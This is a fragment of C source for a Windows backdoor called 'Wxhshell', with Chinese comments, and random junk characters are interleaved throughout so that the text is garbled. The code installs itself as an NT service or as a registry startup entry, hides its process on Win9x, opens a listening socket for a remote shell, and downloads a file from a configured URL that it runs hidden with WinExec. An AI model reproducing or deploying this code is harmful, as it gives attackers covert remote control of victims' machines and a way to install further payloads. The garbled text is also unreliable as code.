o] if(!hProcess) return 0; 2P}RZvUd #wyS?FP- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [`lAc V< ;rKYWj>IR CloseHandle(hProcess); Y(f-e, xd 3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U{Z>y?V/ if(hProcess==NULL) return 0; ^J_hkw~gO qr9F HMODULE hMod; 2vC=.1k char procName[255]; 2 *$n? unsigned long cbNeeded; wGH@I_cy> DPOPRi~ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9vu8koL '3Ie0QO]"% CloseHandle(hProcess); -Me\nu8(RF A.b#r[ if(strstr(procName,"services")) return 1; // 以服务启动 ^xwFjQXx oX~CTunP return 0; // 注册表启动 v2'JL(= } &?nF';& 1^3#3duV // 主模块 di5_5_$`o int StartWxhshell(LPSTR lpCmdLine) A@OV!DJe] { Q:\hh=^ SOCKET wsl; 8rYK~Sz BOOL val=TRUE; \t@`]QzG: int port=0; UJ[a&b struct sockaddr_in door; cIp h$@ [
UJj*n if(wscfg.ws_autoins) Install(); )QD}R36Ic `9l\~t(M
port=atoi(lpCmdLine); $ Zr,- ise}> A!t if(port<=0) port=wscfg.ws_port; 0 y%R vNbA/sM WSADATA data; Cj+=9Dc if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~~,<+X: >lmL if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; K7c8_g*>4= setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f,>i%. door.sin_family = AF_INET; ex458^N_ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]o$/xP door.sin_port = htons(port); 1`{ib
G65N: if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
/GUuu closesocket(wsl); `t&;Yk]-L return 1; ;G]'}$`/q } 2\de |' x[" if(listen(wsl,2) == INVALID_SOCKET) { H@'
@xHv closesocket(wsl); #7h fEAk return 1; 4
G[hU4L } w>_EM&r6~u Wxhshell(wsl); em}Qv3*# WSACleanup(); 5i#w:O\cz _ZBR<{ return 0; 6~WE#z_ a HL '(< } W2qQKv RJ4mlW // 以NT服务方式启动 wtLMc VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1C=P #MU` { v^fOT5\ DWORD status = 0; M) XQi/ DWORD specificError = 0xfffffff; LW5ggU/ RLNuH2y; serviceStatus.dwServiceType = SERVICE_WIN32; @(fY4]K serviceStatus.dwCurrentState = SERVICE_START_PENDING; \'Kj.EO{?$ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DW&')gfQ serviceStatus.dwWin32ExitCode = 0; MWh+h7k' serviceStatus.dwServiceSpecificExitCode = 0; u#k,G` serviceStatus.dwCheckPoint = 0; >0#q!H,X serviceStatus.dwWaitHint = 0; JBAK*g 6D"`FPC hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .BDRD~kB if (hServiceStatusHandle==0) return; 6RQCKN)
9R"N#w.U] status = GetLastError(); U]
-@yx if (status!=NO_ERROR) @i-@mxk6< { M`pTT5r serviceStatus.dwCurrentState = SERVICE_STOPPED; 1";e'?^x serviceStatus.dwCheckPoint = 0; @aN=U= serviceStatus.dwWaitHint = 0; i}F;fWZ` serviceStatus.dwWin32ExitCode = status; '4lT*KN7\ serviceStatus.dwServiceSpecificExitCode = specificError; xh^ZI6L< SetServiceStatus(hServiceStatusHandle, &serviceStatus); LY:?OGh return; bK$D lBZ } ^^3va)1{! ur,"K'w serviceStatus.dwCurrentState = SERVICE_RUNNING; "|r^l serviceStatus.dwCheckPoint = 0; | 4oM+n;Y serviceStatus.dwWaitHint = 0; !2U7gVt"* if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u+'@>%7 } 5@t uo`k ^npS==Y]!. // 处理NT服务事件,比如:启动、停止 (VPM>ndkw VOID WINAPI NTServiceHandler(DWORD fdwControl) >c\v&k>6. { \{=`F`oB= switch(fdwControl) ~7 L)n { })Mv9~&S case SERVICE_CONTROL_STOP: h* %0@ serviceStatus.dwWin32ExitCode = 0; o7a6 )2JK serviceStatus.dwCurrentState = SERVICE_STOPPED; b|8>eY serviceStatus.dwCheckPoint = 0; hB$Y4~T% serviceStatus.dwWaitHint = 0; &c?hJ8" { U[e8K SetServiceStatus(hServiceStatusHandle, &serviceStatus); B6'%J } 5az
4N T return; [gh[F case SERVICE_CONTROL_PAUSE: g=g.GpFt serviceStatus.dwCurrentState = SERVICE_PAUSED; Kg TGxCH break; ,dj*p,J case SERVICE_CONTROL_CONTINUE: e]*=sp!T serviceStatus.dwCurrentState = SERVICE_RUNNING; PVS<QN% break; azDC'.3{p case SERVICE_CONTROL_INTERROGATE: fzFvfMAU break; ks%7W
- }; Z(k\J|&9C SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4lh
} O*J_+6 m~j\?mb{+ // 标准应用程序主函数 l@Eq|y, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ij6Wz.* { .xLF}{u 97]a-)SA // 获取操作系统版本 4j/ iG\ OsIsNt=GetOsVer(); qv0
DrL,3 GetModuleFileName(NULL,ExeFile,MAX_PATH); N{hF [F IzGB // 从命令行安装 v<7Gln if(strpbrk(lpCmdLine,"iI")) Install(); [6_Du6\h rxy{a // 下载执行文件 aO^:dl5 if(wscfg.ws_downexe) { 3?*M{Y| if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :B*vkwT WinExec(wscfg.ws_filenam,SW_HIDE); \Sw+]pr~ } ;la#Vf:] 7dlKdKH if(!OsIsNt) { ra9cD"/J & // 如果时win9x,隐藏进程并且设置为注册表启动 ] [HGzHA HideProc(); iO9nvM< StartWxhshell(lpCmdLine); M)`HK
. } =~\]3g else W3jXZ> if(StartFromService()) \=w'HZH#+ // 以服务方式启动 dDqr
B-G StartServiceCtrlDispatcher(DispatchTable); >St.c else 4{*tn"y // 普通方式启动 @QVqpE<| StartWxhshell(lpCmdLine); @3-,=x %R.xS}
Q return 0; 7>'uj7r]= }
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